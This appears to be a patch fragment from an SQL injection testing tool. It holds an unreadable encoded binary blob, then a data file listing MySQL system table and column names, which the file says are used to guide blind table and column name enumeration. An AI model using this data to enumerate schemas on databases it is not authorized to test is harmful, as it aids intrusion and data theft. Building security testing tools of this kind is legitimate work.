z247(ChK59L{-6@CRm0!oV~RCcekA7-N-Zbq2meXV>WUHz4UQ`~yu|dWQ_VJu(!NrqY*jx8lAi^zx&C zWF%nyV>RDONRtY6H;H&rDL+Z}3qFsnq6h^(A;V_-NI51F54(z{tYULF%y9BiTPtZ+ zeF%<{wKw!qIHDkpH$41NsyHRUymDk8zE+1)c_b}F+6!T)97YJB{Djysf$Ucl&wo!A zEBH5?{{bPDF|nJxqUfbfq8W)v=9BUIkyX>|;Cj&1xDyNo^UBw+G(k=8nV697g#ZNw zqY^Vap&zr0A03eg+tq8SdM#c~NTDZYNqT%K!HXBjp&`{-@(j}+-oq5yvHZv?3OJ?b zvlYgT|PI-p(Oj1 zH7l9s9>XIQ|6oOHH?~OS)PeksoHNGfLu({{Z8W zoXQQr2Nj1H%Q(V$?D|PmkqMexP(t(0^$RCju~i7ESsKe(;z; zevD#7m$l47|(roeD!)27RD}u9r(_DeILEKjG-0LmwVsO(bE5 zs>IhqiAgYlMJ{xZT71uPGNJtRUDmRVsWkO5b-Vr%GgT5Tu$C5P=|trvZp~*BKog+2^%79LSQo~LowO={355n*YSW-Q+J3e8eLuIh4Z73yd8onk z8K{5s(b5n4cGTLuulO6QH{c^78 z)UWlN8}(=3{dN)IQEZaFyuj`Uc~qB|S|TGgK8yq$Mi zoqKY(htGyC0y}=J(RMOCe<)8o>|EvVQ2#F~%GT1HC^-KP#V+%t_`1U%az@NfPgY8m z`wCku{Zcz1m)Za@0RG~L#G4xW`|tAeKlt}Q_~#q{{3rkXPyYE|{PVy0=l}4}|Aik| zQBp1OQWiF^?=0NLUoz>CU=|C}^!%P@AM}U6oE6}BJf8@<;k{)2Z zPD&DjMISKZ(jQrpqh9PInbpHBRQd?52@*uN>~Ioj*ooAJt|5hB@rZ1`WPnvZ8ZLhw z@)ziJzj737K)ws8DD=>BEcz>}O8Qgt-{b_e5(aM+xIx<$$(==`;xS&Dq@w?NfSIA0 z-TZeXixeL4A~WuZi@4LnfrNFiJwsphLV!wk3FN5or^Y`QUj9Q@J$>W{NG!cTi6R63 zG6%TO5F0lK^wk_%SAgSPBK^&arwEo55wC3I2jj8@K6>5L`NiQ@tvBSij#$xZBA<(+ zbB+cW(E%kwNFR%{ z>Nmm7yY|R1EMo!u;`>#V$CeMj{gB~G7dD01>1|K){$c!|306pgvLomNwH+YkgJEV& zafj!8N!}9*dmCR6jXDRiB<}_^RgM-iy}<*S=CQyE(_i8Jq!z-Rw-&^eyEdSkzgB23 zhgedSxw3*Gr|1?ONjC_Hz*R0L*iq9a&|P9C+*MpAv{xE5 z58EwSNYuqT#1dvkXw)11M!E?odP9`5SB~q3yTH66Klvora=hZ~157kE$ z)ylV!)GkjGa3jpe6tZ;o;0{knIJp2c4DTA(C4V0j5jA)@t#*DJ=ck{cl!H_ z_7^x);D)k+^q!NKtURFq2xwH26dO)Y#CcTNQaQVdb!i znn{vWZ|jmQ0<_0X>SQj8o2n7hyKbn z0X;H9o{YyXyw2dQh;>cXe#TA{opXr%jN{%JhqW^fYiDQ?(V0Hw%y%je_Hgc?(SjNR z=-qfb4??qZpeCFI#XXe$HpPLeBWs${YZ&HL9(8*{yk@X6G^#h0OaCW|7~vbSWt^#H zoT>4&?o42lf1>9rmY0WUO?b^~+QAY5chcDF{&9KadC%81nHbkIp9GlRBr2ht?6IxcLA? z78mlX&L&Ub8$CO%W}wzM_K($OnJihfJ)BP?kvHj> zDZ%(_7R^KZ#;4d20W?)8jyD#EN6lFz!7K>QBUx-wq~hcl)gnw$%{N}ol>g7OB@dPr zv(BH%8RrT8+*;AevJe)*Dv7A<@LN8S;NfAh?NstS^61f-2)Wq~X%3raSZ%7Qg*X@xs6^vm#r8?b-Jq}jnJa++MB|38dFWB#Lq z(Z3pD0l3gfq=(a89r1+B6LIukw|SL4=GEc9qs1(GSg-zVvfE9j_jo3i^eH4mZ_{G- z?|1jf!+dwYo+=FK6`@a-%YLyWZk` zs~_9NPBL)2o!n9OO<~N*!}Gkw!+gEpwFz7Ht|`A9*&<%^ znPu{@o^c+R>*;ST{)fpQP~#8l?VkzM#(E0hI_n1PV?}cU6-X6ZmurPZZ@qF8k9$Qz7u-R`rQExZ9e$;sRr%!~|q56(RYGL?ru0{GWS!m3|dN)rd zv)OhYw@CNvcxU_9F}BvNP1@*`*}Gj&JCOisw}yUd)9hhtJKsS0PfXu~T+FxMp~9g> z31z)xM?9Y@~dPm633#eUQG`sK}~@S?wRysv8DSS8*EfE!ZD2} zkLCVuu`<;8is%5ONVl__f5Vpo{EGt^-!A4$;rkQ%V6uVs zs;6+Gn+bh6U)}BQJ4Bh~`$U~iiyRAS4l|g2@tCMOk1)?{7dLwx6xsnQrT*7wl45z- zEa!jN;SU>#5Qf?1woTyPCA8Iy>cT=PN*i{&xU-yiQasr&cQ#39m3=XOy-l%lM*d#> z(p-fQbBQMV-wnmOOwpmy)G9PuG}#~`XoMcI$a9m>f@-~u#sAypK<6eCQ1CrEhg(=b4VLZLohcU(Mz?ciIsfqWLN&uBMB5 z+#>9HjCOIsDq^}_Y;<>2{`FS8(2QYiLU#>KpP#`9wu&{6@^Qj*Xg@I8ZB>VcvV?Km z zRsWh6!@9o%)1^p*O42C@CQ7ehj}6U?%0=LYuDB(2+|#CLxqk7_Tt6vPm=|@g07Mm&q_8ChNM$v zZ#=&6K+3yY zTh2DyK2{?ew8rVZU03ZT5UlcOcWJrp0qtQCV@!6-QY2HLut?t9y>PW(E=|F3Y}gO< znu80*-f)tCzw1>D?G;VTYQuQ5p8aX(Nzw0Nr-MtHen>ZpSUl~|-LykmBLh)%#&8Gu zfD=z=NonX-ikf7nq=+WU?czI5&bs7~0L|!51;ajRwugnU8Yc`zx|Bu0HXe6~CP$jY zW!?qq%yj~~IJ=xR(R|PT26t)gk;@{+J(S$PMluxq_D`u#i=gA#&To55)$Lr?pWXm# zYSJ_*JMFiUu-C3STz}tozT0ojV9vC)-4W0y-1`;osK^~pxg)~Pbic*%(X7+jq`4xp zC~FEs$gV}P=E3-W0vlGlg~c0~ly6~0)LFOVzEq{d1oKXVyw*n1^6SRPC~NyjUcFsZ zz63YZs&EaV#X%&A&)Q9P7eSq!W{1@0=gl@#7k76!`bv*c{?@Fch%)@eEuzUU6WXDz z0YVc^uTUi2W?Bv_a`17?a?M(ozTA=S`t{;_zuB~A7usIV|WDCxuT1?8h{?z(HMgMR`Rv`7Lg=DXqvKpXXgx7_T;j6LFBhu3HomrTiK40 z_inkqfoZ?Bbw@g`+3*)Sn1z-}SvhG^wmn>Giqc|}Nm+SeQZ~*u8&AsQTg+yv`=H;7 zgDOxt?7pjMnhSjvU8lt}a}0wMA{iC^KTt~n0u%!j000080000X0DD?] sections (the section -# name matches a lib.core.enums.DBMS value). Used to warm a per-DBMS character-level Markov model that -# drives Huffman set-membership retrieval during blind table/column NAME enumeration (see -# lib/techniques/blind/inference.py::getHuffmanPrior); the fingerprinted back-end's section is loaded -# at run time. Not used for whole-value wordlist matching. - -[MySQL] -Abbreviation -ACCESS_MODE -ACCESS_TIME -account_locked -accounts -ACTION_CONDITION -ACTION_ORDER -ACTION_ORIENTATION -ACTION_REFERENCE_NEW_ROW -ACTION_REFERENCE_NEW_TABLE -ACTION_REFERENCE_OLD_ROW -ACTION_REFERENCE_OLD_TABLE -ACTION_STATEMENT -ACTION_TIMING -ACTIVE_SINCE -ADMINISTRABLE_ROLE_AUTHORIZATIONS -allocated -ALLOCATED_SIZE -Alter_priv -Alter_routine_priv -APPLICABLE_ROLES -APPLYING_TRANSACTION -APPLYING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP -APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE -APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER -APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP -APPLYING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP -APPLYING_TRANSACTION_RETRIES_COUNT -APPLYING_TRANSACTION_START_APPLY_TIMESTAMP -argument -Assign_gtids_to_anonymous_transactions_type -Assign_gtids_to_anonymous_transactions_value -ATTRIBUTE -ATTR_NAME -ATTR_VALUE -authentication_string -AUTOCOMMIT -AUTOEXTEND_SIZE -AUTOINC -AUTO_INCREMENT -auto_increment_ratio -AUTO_POSITION -AVG_COUNT -AVG_COUNT_RESET -avg_latency -avg_read -AVG_ROW_LENGTH -avg_rows_sorted -avg_sort_merges -AVG_STATEMENTS_WAIT -AVG_TIMER_DELETE -AVG_TIMER_EXECUTE -AVG_TIMER_FETCH -AVG_TIMER_INSERT -AVG_TIMER_MISC -AVG_TIMER_READ -AVG_TIMER_READ_EXTERNAL -AVG_TIMER_READ_HIGH_PRIORITY -AVG_TIMER_READ_NO_INSERT -AVG_TIMER_READ_NORMAL -AVG_TIMER_READ_ONLY -AVG_TIMER_READ_WITH_SHARED_LOCKS -AVG_TIMER_READ_WRITE -AVG_TIMER_UPDATE -AVG_TIMER_WAIT -AVG_TIMER_WRITE -AVG_TIMER_WRITE_ALLOW_WRITE -AVG_TIMER_WRITE_CONCURRENT_INSERT -AVG_TIMER_WRITE_EXTERNAL -AVG_TIMER_WRITE_LOW_PRIORITY -AVG_TIMER_WRITE_NORMAL -avg_tmp_tables_per_query -avg_us -avg_write -avg_written -BACKEND_KEY_ID -BASE_POS -binary_log_transaction_compression_stats -Bind -BLOCK_ID -blocking_account -BLOCKING_ENGINE_LOCK_ID -BLOCKING_ENGINE_TRANSACTION_ID -BLOCKING_EVENT_ID -blocking_lock_duration -blocking_lock_id -blocking_lock_mode -blocking_lock_type -BLOCKING_OBJECT_INSTANCE_BEGIN -blocking_pid -blocking_query -BLOCKING_THREAD_ID -blocking_trx_age -blocking_trx_id -blocking_trx_rows_locked -blocking_trx_rows_modified -blocking_trx_started -BLOCK_OPS_IN -BLOCK_OPS_OUT -BUCKET_NUMBER -BUCKET_QUANTILE -BUCKET_TIMER_HIGH -BUCKET_TIMER_LOW -buffer_pool_instance -CARDINALITY -CATALOG_NAME -CHANNEL -Channel_name -CHARACTER_MAXIMUM_LENGTH -CHARACTER_OCTET_LENGTH -CHARACTER_SET_CLIENT -CHARACTER_SET_NAME -CHARACTER_SETS -CHECK_CLAUSE -CHECK_CONSTRAINTS -CHECK_OPTION -Checkpoint_group_bitmap -Checkpoint_group_size -Checkpoint_master_log_name -Checkpoint_master_log_pos -Checkpoint_relay_log_name -Checkpoint_relay_log_pos -Checkpoint_seqno -CHECKSUM -CHECK_TIME -clustered_index_size -CLUST_INDEX_SIZE -cnt -COLLATION -COLLATION_CHARACTER_SET_APPLICABILITY -COLLATION_CONNECTION -COLLATION_NAME -COLLATIONS -COLUMN_COMMENT -COLUMN_DEFAULT -COLUMN_KEY -COLUMN_NAME -Column_priv -COLUMN_PRIVILEGES -COLUMNS -COLUMNS_EXTENSIONS -columns_priv -COLUMN_STATISTICS -COLUMN_TYPE -COMMAND -command_type -COMMENT -component -component_group_id -component_id -component_urn -COMPRESSED -COMPRESSED_BYTES_COUNTER -COMPRESSED_SIZE -COMPRESSION_ALGORITHM -COMPRESSION_PERCENTAGE -COMPRESSION_TYPE -compress_ops -compress_ops_ok -compress_time -cond_instances -Configuration -CONFIGURED_BY -CONNECTION_RETRY_COUNT -CONNECTION_RETRY_INTERVAL -CONNECTION_TYPE -Connect_retry -conn_id -CONSTRAINT_CATALOG -CONSTRAINT_NAME -CONSTRAINT_SCHEMA -CONSTRAINT_TYPE -CONSUMER_LEVEL -CONTEXT_INVOLUNTARY -CONTEXT_VOLUNTARY -CONTROLLED_MEMORY -CONVERSION_FACTOR -Correction -cost_name -cost_value -COUNT -COUNT_ADDRINFO_PERMANENT_ERRORS -COUNT_ADDRINFO_TRANSIENT_ERRORS -COUNT_ALLOC -COUNT_AUTHENTICATION_ERRORS -COUNT_AUTH_PLUGIN_ERRORS -COUNT_BUCKET -COUNT_BUCKET_AND_LOWER -COUNT_CONFLICTS_DETECTED -COUNT_DEFAULT_DATABASE_ERRORS -COUNT_DELETE -COUNTER -COUNT_EXECUTE -COUNT_FCRDNS_ERRORS -COUNT_FETCH -COUNT_FORMAT_ERRORS -COUNT_FREE -COUNT_HANDSHAKE_ERRORS -COUNT_HOST_ACL_ERRORS -COUNT_HOST_BLOCKED_ERRORS -COUNT_INIT_CONNECT_ERRORS -COUNT_INSERT -COUNT_LOCAL_ERRORS -COUNT_MAX_USER_CONNECTIONS_ERRORS -COUNT_MAX_USER_CONNECTIONS_PER_HOUR_ERRORS -COUNT_MISC -COUNT_NAMEINFO_PERMANENT_ERRORS -COUNT_NAMEINFO_TRANSIENT_ERRORS -COUNT_NO_AUTH_PLUGIN_ERRORS -COUNT_PROXY_USER_ACL_ERRORS -COUNT_PROXY_USER_ERRORS -COUNT_READ -COUNT_READ_EXTERNAL -COUNT_READ_HIGH_PRIORITY -COUNT_READ_NO_INSERT -COUNT_READ_NORMAL -COUNT_READ_ONLY -COUNT_READ_WITH_SHARED_LOCKS -COUNT_READ_WRITE -COUNT_RECEIVED_HEARTBEATS -COUNT_REPREPARE -COUNT_RESET -COUNT_SECONDARY -COUNT_SSL_ERRORS -COUNT_STAR -COUNT_STATEMENTS -COUNT_TRANSACTIONS_CHECKED -COUNT_TRANSACTIONS_IN_QUEUE -COUNT_TRANSACTIONS_LOCAL_PROPOSED -COUNT_TRANSACTIONS_LOCAL_ROLLBACK -COUNT_TRANSACTIONS_REMOTE_APPLIED -COUNT_TRANSACTIONS_REMOTE_IN_APPLIER_QUEUE -COUNT_TRANSACTIONS_RETRIES -COUNT_TRANSACTIONS_ROWS_VALIDATING -COUNT_UNKNOWN_ERRORS -COUNT_UPDATE -COUNT_WRITE -COUNT_WRITE_ALLOW_WRITE -COUNT_WRITE_CONCURRENT_INSERT -COUNT_WRITE_EXTERNAL -COUNT_WRITE_LOW_PRIORITY -COUNT_WRITE_NORMAL -cpu_latency -CPU_SYSTEM -CPU_TIME -CPU_USER -CREATED -CREATED_TMP_DISK_TABLES -CREATED_TMP_TABLES -CREATE_OPTIONS -Create_priv -Create_role_priv -Create_routine_priv -Create_tablespace_priv -CREATE_TIME -Create_tmp_table_priv -Create_user_priv -Create_view_priv -CREATION_TIME -current_alloc -current_allocated -current_avg_alloc -CURRENT_CONNECTIONS -current_count -CURRENT_COUNT_USED -current_max_alloc -current_memory -CURRENT_NUMBER_OF_BYTES_USED -CURRENT_SCHEMA -current_statement -DATA -DATABASE_COLLATION -database_name -DATABASE_PAGES -DATA_FREE -DATA_LENGTH -data_locks -data_lock_waits -DATA_SIZE -DATA_TYPE -DATETIME_PRECISION -db -DB -DEFAULT_CHARACTER_SET_NAME -DEFAULT_COLLATE_NAME -DEFAULT_COLLATION_NAME -DEFAULT_ENCRYPTION -DEFAULT_ROLE_HOST -default_roles -DEFAULT_ROLE_USER -DEFAULT_VALUE -DEFINER -DEFINITION -DELETED_ROWS -delete_latency -Delete_priv -DELETE_RULE -deletes -DESCRIPTION -DESIRED_DELAY -device_type -DIGEST -DIGEST_TEXT -disk_tmp_tables -dl -DOC_COUNT -DOC_ID -DOCUMENTATION -dominant_index_columns -dominant_index_name -dominant_index_non_unique -Drop_priv -Drop_role_priv -DTD_IDENTIFIER -DURATION -enabled -Enabled_auto_position -ENABLED_ROLES -Enabled_ssl -ENCRYPTION -END_EVENT_ID -END_LSN -ENDS -ENFORCED -ENGINE -ENGINE_ATTRIBUTE -engine_cost -ENGINE_LOCK_ID -engine_name -ENGINES -ENGINE_TRANSACTION_ID -epoch -err_count -ERROR_CODE -error_handling -error_log -ERROR_NAME -ERROR_NUMBER -error_pct -ERRORS -event -EVENT_BODY -EVENT_CATALOG -event_class -EVENT_COMMENT -EVENT_DEFINITION -EVENT_ID -EVENT_MANIPULATION -EVENT_NAME -EVENT_OBJECT_CATALOG -EVENT_OBJECT_SCHEMA -EVENT_OBJECT_TABLE -Event_priv -events -EVENTS -EVENT_SCHEMA -events_errors_summary_by_account_by_error -events_errors_summary_by_host_by_error -events_errors_summary_by_thread_by_error -events_errors_summary_by_user_by_error -events_errors_summary_global_by_error -events_stages_current -events_stages_history -events_stages_history_long -events_stages_summary_by_account_by_event_name -events_stages_summary_by_host_by_event_name -events_stages_summary_by_thread_by_event_name -events_stages_summary_by_user_by_event_name -events_stages_summary_global_by_event_name -events_statements_current -events_statements_histogram_by_digest -events_statements_histogram_global -events_statements_history -events_statements_history_long -events_statements_summary_by_account_by_event_name -events_statements_summary_by_digest -events_statements_summary_by_host_by_event_name -events_statements_summary_by_program -events_statements_summary_by_thread_by_event_name -events_statements_summary_by_user_by_event_name -events_statements_summary_global_by_event_name -events_transactions_current -events_transactions_history -events_transactions_history_long -events_transactions_summary_by_account_by_event_name -events_transactions_summary_by_host_by_event_name -events_transactions_summary_by_thread_by_event_name -events_transactions_summary_by_user_by_event_name -events_transactions_summary_global_by_event_name -events_waits_current -events_waits_history -events_waits_history_long -events_waits_summary_by_account_by_event_name -events_waits_summary_by_host_by_event_name -events_waits_summary_by_instance -events_waits_summary_by_thread_by_event_name -events_waits_summary_by_user_by_event_name -events_waits_summary_global_by_event_name -event_time -EVENT_TYPE -example -exec_count -exec_secondary_count -EXECUTE_AT -Execute_priv -EXECUTION_ENGINE -EXPRESSION -EXTENT_SIZE -EXTERNAL_LANGUAGE -EXTERNAL_LOCK -EXTERNAL_NAME -EXTRA -fetch_latency -File -FILE_ID -file_instances -file_io_latency -file_ios -FILE_NAME -File_priv -FILES -FILE_SIZE -file_summary_by_event_name -file_summary_by_instance -FILE_TYPE -FILTER_NAME -FILTER_RULE -FIRST_DOC_ID -FIRST_ERROR_SEEN -FIRST_SEEN -FIRST_TRANSACTION_COMPRESSED_BYTES -FIRST_TRANSACTION_ID -FIRST_TRANSACTION_TIMESTAMP -FIRST_TRANSACTION_UNCOMPRESSED_BYTES -FIX_COUNT -FLAG -FLAGS -FLUSH_TYPE -FOR_COL_NAME -FOR_NAME -FREE_BUFFERS -FREE_EXTENTS -FREE_PAGE_CLOCK -FREQUENCY -FROM_HOST -FROM_USER -FS_BLOCK_SIZE -full_scan -full_scans -FULLTEXT_KEYS -func -gci -general_log -GENERATION_EXPRESSION -GEOMETRY_TYPE_NAME -Get_public_key -global_grants -global_status -global_variables -GRANTEE -GRANTEE_HOST -GRANTOR -GRANTOR_HOST -Grant_priv -GROUP_NAME -GTID -gtid_executed -Gtid_only -gtid_tag -HAS_DEFAULT -Heartbeat -HEARTBEAT_INTERVAL -help_category -help_category_id -help_keyword -help_keyword_id -help_relation -help_topic -help_topic_id -high_alloc -high_avg_alloc -high_count -HIGH_COUNT_USED -HIGH_NUMBER_OF_BYTES_USED -HISTOGRAM -HISTORY -HIT_RATE -HOST -host_cache -hosts -host_summary -host_summary_by_file_io -host_summary_by_file_io_type -host_summary_by_stages -host_summary_by_statement_latency -host_summary_by_statement_type -HOST_VALIDATED -ID -Ignored_server_ids -index_columns -INDEX_COMMENT -INDEX_ID -INDEX_LENGTH -INDEX_NAME -Index_priv -INDEX_SCHEMA -INDEX_TYPE -INFO -INITIAL_SIZE -innodb_buffer_allocated -innodb_buffer_data -innodb_buffer_free -INNODB_BUFFER_PAGE -INNODB_BUFFER_PAGE_LRU -innodb_buffer_pages -innodb_buffer_pages_hashed -innodb_buffer_pages_old -INNODB_BUFFER_POOL_STATS -innodb_buffer_rows_cached -innodb_buffer_stats_by_schema -innodb_buffer_stats_by_table -INNODB_CACHED_INDEXES -INNODB_CMP -INNODB_CMPMEM -INNODB_CMPMEM_RESET -INNODB_CMP_PER_INDEX -INNODB_CMP_PER_INDEX_RESET -INNODB_CMP_RESET -INNODB_COLUMNS -INNODB_DATAFILES -INNODB_FIELDS -INNODB_FOREIGN -INNODB_FOREIGN_COLS -INNODB_FT_BEING_DELETED -INNODB_FT_CONFIG -INNODB_FT_DEFAULT_STOPWORD -INNODB_FT_DELETED -INNODB_FT_INDEX_CACHE -INNODB_FT_INDEX_TABLE -INNODB_INDEXES -innodb_index_stats -innodb_lock_waits -INNODB_METRICS -innodb_redo_log_files -INNODB_SESSION_TEMP_TABLESPACES -INNODB_TABLES -INNODB_TABLESPACES -INNODB_TABLESPACES_BRIEF -innodb_table_stats -INNODB_TABLESTATS -INNODB_TEMP_TABLE_INFO -INNODB_TRX -INNODB_VIRTUAL -insert_id -insert_latency -Insert_priv -inserts -INSTANT_COLS -INSTRUMENTED -INSUFFICIENT_PRIVILEGES -INTERNAL_LOCK -international -interval_end -INTERVAL_FIELD -interval_start -INTERVAL_VALUE -io_by_thread_by_latency -IO_FIX -io_global_by_file_by_bytes -io_global_by_file_by_latency -io_global_by_wait_by_bytes -io_global_by_wait_by_latency -io_latency -io_misc_latency -io_misc_requests -io_read -io_read_latency -io_read_requests -ios -io_write -io_write_latency -io_write_requests -IP -IS_COMPILED -IS_DEFAULT -IS_DETERMINISTIC -Is_DST -IS_FULL -IS_GRANTABLE -IS_HASHED -IS_MANDATORY -IS_NULLABLE -ISOLATION_LEVEL -IS_OLD -is_signed -IS_STALE -is_unsigned -IS_UPDATABLE -IS_VISIBLE -KEY -KEY_COLUMN_USAGE -KEY_ID -KEY_OWNER -keyring_component_status -keyring_keys -KEYWORDS -LAST_ACCESS_TIME -LAST_ALTERED -LAST_APPLIED_TRANSACTION -LAST_APPLIED_TRANSACTION_END_APPLY_TIMESTAMP -LAST_APPLIED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP -LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE -LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER -LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP -LAST_APPLIED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP -LAST_APPLIED_TRANSACTION_RETRIES_COUNT -LAST_APPLIED_TRANSACTION_START_APPLY_TIMESTAMP -LAST_CONFLICT_FREE_TRANSACTION -LAST_DOC_ID -LAST_ERROR_MESSAGE -LAST_ERROR_NUMBER -LAST_ERROR_SEEN -LAST_ERROR_TIMESTAMP -LAST_EXECUTED -LAST_HEARTBEAT_TIMESTAMP -last_insert_id -LAST_PROCESSED_TRANSACTION -LAST_PROCESSED_TRANSACTION_END_BUFFER_TIMESTAMP -LAST_PROCESSED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP -LAST_PROCESSED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP -LAST_PROCESSED_TRANSACTION_START_BUFFER_TIMESTAMP -LAST_QUEUED_TRANSACTION -LAST_QUEUED_TRANSACTION_END_QUEUE_TIMESTAMP -LAST_QUEUED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP -LAST_QUEUED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP -LAST_QUEUED_TRANSACTION_START_QUEUE_TIMESTAMP -LAST_SEEN -last_statement -last_statement_latency -LAST_TRANSACTION_COMPRESSED_BYTES -LAST_TRANSACTION_ID -LAST_TRANSACTION_TIMESTAMP -LAST_TRANSACTION_UNCOMPRESSED_BYTES -last_update -LAST_UPDATE_TIME -last_wait -last_wait_latency -latency -latest_file_io -LEN -LOAD_OPTION -LOCAL -LOCK_DATA -LOCK_DURATION -LOCKED_BY_THREAD_ID -locked_index -locked_table -locked_table_name -locked_table_partition -locked_table_schema -locked_table_subpartition -locked_type -lock_latency -LOCK_MODE -LOCK_STATUS -Lock_tables_priv -lock_time -LOCK_TYPE -LOGFILE_GROUP_NAME -LOGFILE_GROUP_NUMBER -LOGGED -log_status -LOG_TYPE -LOW_COUNT_USED -LOW_NUMBER_OF_BYTES_USED -LRU_IO_CURRENT -LRU_IO_TOTAL -LRU_POSITION -Managed_name -Managed_type -Master_compression_algorithm -Master_log_name -Master_log_pos -Master_zstd_compression_level -MATCH_OPTION -max_connections -MAX_CONTROLLED_MEMORY -MAX_COUNT -MAX_COUNT_RESET -MAX_DATA_LENGTH -MAXIMUM_SIZE -max_latency -MAXLEN -max_questions -MAX_SESSION_CONTROLLED_MEMORY -MAX_SESSION_TOTAL_MEMORY -MAX_STATEMENTS_WAIT -MAX_TIMER_DELETE -MAX_TIMER_EXECUTE -MAX_TIMER_FETCH -MAX_TIMER_INSERT -MAX_TIMER_MISC -MAX_TIMER_READ -MAX_TIMER_READ_EXTERNAL -MAX_TIMER_READ_HIGH_PRIORITY -MAX_TIMER_READ_NO_INSERT -MAX_TIMER_READ_NORMAL -MAX_TIMER_READ_ONLY -MAX_TIMER_READ_WITH_SHARED_LOCKS -MAX_TIMER_READ_WRITE -MAX_TIMER_UPDATE -MAX_TIMER_WAIT -MAX_TIMER_WRITE -MAX_TIMER_WRITE_ALLOW_WRITE -MAX_TIMER_WRITE_CONCURRENT_INSERT -MAX_TIMER_WRITE_EXTERNAL -MAX_TIMER_WRITE_LOW_PRIORITY -MAX_TIMER_WRITE_NORMAL -MAX_TOTAL_MEMORY -max_updates -max_user_connections -MAX_VALUE -MEMBER_COMMUNICATION_STACK -MEMBER_HOST -MEMBER_ID -MEMBER_PORT -MEMBER_ROLE -MEMBER_STATE -MEMBER_VERSION -memory_by_host_by_current_bytes -memory_by_thread_by_current_bytes -memory_by_user_by_current_bytes -memory_global_by_current_bytes -memory_global_total -memory_summary_by_account_by_event_name -memory_summary_by_host_by_event_name -memory_summary_by_thread_by_event_name -memory_summary_by_user_by_event_name -memory_summary_global_by_event_name -memory_tmp_tables -MERGE_THRESHOLD -MESSAGES_RECEIVED -MESSAGES_SENT -MESSAGE_TEXT -metadata_locks -METER -metrics -METRIC_TYPE -MIN_COUNT -MIN_COUNT_RESET -min_latency -MIN_STATEMENTS_WAIT -MIN_TIMER_DELETE -MIN_TIMER_EXECUTE -MIN_TIMER_FETCH -MIN_TIMER_INSERT -MIN_TIMER_MISC -MIN_TIMER_READ -MIN_TIMER_READ_EXTERNAL -MIN_TIMER_READ_HIGH_PRIORITY -MIN_TIMER_READ_NO_INSERT -MIN_TIMER_READ_NORMAL -MIN_TIMER_READ_ONLY -MIN_TIMER_READ_WITH_SHARED_LOCKS -MIN_TIMER_READ_WRITE -MIN_TIMER_UPDATE -MIN_TIMER_WAIT -MIN_TIMER_WRITE -MIN_TIMER_WRITE_ALLOW_WRITE -MIN_TIMER_WRITE_CONCURRENT_INSERT -MIN_TIMER_WRITE_EXTERNAL -MIN_TIMER_WRITE_LOW_PRIORITY -MIN_TIMER_WRITE_NORMAL -MIN_VALUE -misc_latency -MISSING_BYTES_BEYOND_MAX_MEM_SIZE -MODIFIED_COUNTER -MODIFIED_DATABASE_PAGES -MTYPE -mutex_instances -MYSQL_ERRNO -mysql_version -NAME -N_CACHED_PAGES -N_COLS -ndb_binlog_index -NESTING_EVENT_ID -NESTING_EVENT_LEVEL -NESTING_EVENT_TYPE -NETWORK_INTERFACE -Network_namespace -NEWEST_MODIFICATION -next_file -next_position -N_FIELDS -NODEGROUP -NO_GOOD_INDEX_USED -no_good_index_used_count -NO_INDEX_USED -no_index_used_count -no_index_used_pct -NON_UNIQUE -NOT_YOUNG_MAKE_PER_THOUSAND_GETS -n_rows -NULLABLE -NUMBER_OF_BYTES -Number_of_lines -NUMBER_OF_RELEASE_SAVEPOINT -NUMBER_OF_ROLLBACK_TO_SAVEPOINT -NUMBER_OF_SAVEPOINTS -Number_of_workers -NUMBER_PAGES_CREATED -NUMBER_PAGES_GET -NUMBER_PAGES_READ -NUMBER_PAGES_READ_AHEAD -NUMBER_PAGES_WRITTEN -NUMBER_READ_AHEAD_EVICTED -NUMBER_RECORDS -NUMERIC_PRECISION -NUMERIC_SCALE -NUM_ROWS -NUM_TYPE -OBJECT_INSTANCE_BEGIN -OBJECT_NAME -OBJECT_SCHEMA -objects_summary_global_by_type -OBJECT_TYPE -Offset -OLD_DATABASE_PAGES -OLDEST_MODIFICATION -ON_COMPLETION -OPEN_COUNT -OPERATION -OPTIMIZER_TRACE -OPTIONS -ORDINAL_POSITION -ORGANIZATION -ORGANIZATION_COORDSYS_ID -orig_epoch -ORIGINATOR -orig_server_id -OTHER_INDEX_SIZE -Owner -OWNER_EVENT_ID -OWNER_OBJECT_NAME -OWNER_OBJECT_SCHEMA -OWNER_OBJECT_TYPE -OWNER_THREAD_ID -PACKED -PAD_ATTRIBUTE -PAGE_FAULTS_MAJOR -PAGE_FAULTS_MINOR -PAGE_NO -PAGE_NUMBER -pages -PAGES_CREATE_RATE -pages_free -pages_hashed -page_size -PAGES_MADE_NOT_YOUNG_RATE -PAGES_MADE_YOUNG -PAGES_MADE_YOUNG_RATE -PAGES_NOT_MADE_YOUNG -pages_old -PAGES_READ_RATE -PAGE_STATE -pages_used -PAGES_WRITTEN_RATE -PAGE_TYPE -PARAMETER_MODE -PARAMETER_NAME -PARAMETERS -PARAMETER_STYLE -parent_category_id -PARENT_THREAD_ID -PARTITION_COMMENT -PARTITION_DESCRIPTION -PARTITION_EXPRESSION -PARTITION_METHOD -PARTITION_NAME -PARTITION_ORDINAL_POSITION -PARTITIONS -Password -password_expired -password_history -password_last_changed -password_lifetime -Password_require_current -Password_reuse_history -Password_reuse_time -Password_timestamp -PATH -PENDING_DECOMPRESS -PENDING_FLUSH_LIST -PENDING_FLUSH_LRU -PENDING_READS -percentile -performance_timers -persisted_variables -pid -plugin -PLUGIN_AUTHOR -PLUGIN_DESCRIPTION -PLUGIN_LIBRARY -PLUGIN_LIBRARY_VERSION -PLUGIN_LICENSE -PLUGIN_NAME -PLUGINS -PLUGIN_STATUS -PLUGIN_TYPE -PLUGIN_TYPE_VERSION -PLUGIN_VERSION -POOL_ID -POOL_SIZE -Port -POS -POSITION -POSITION_IN_UNIQUE_CONSTRAINT -prepared_statements_instances -PRIO -priority -PRIV 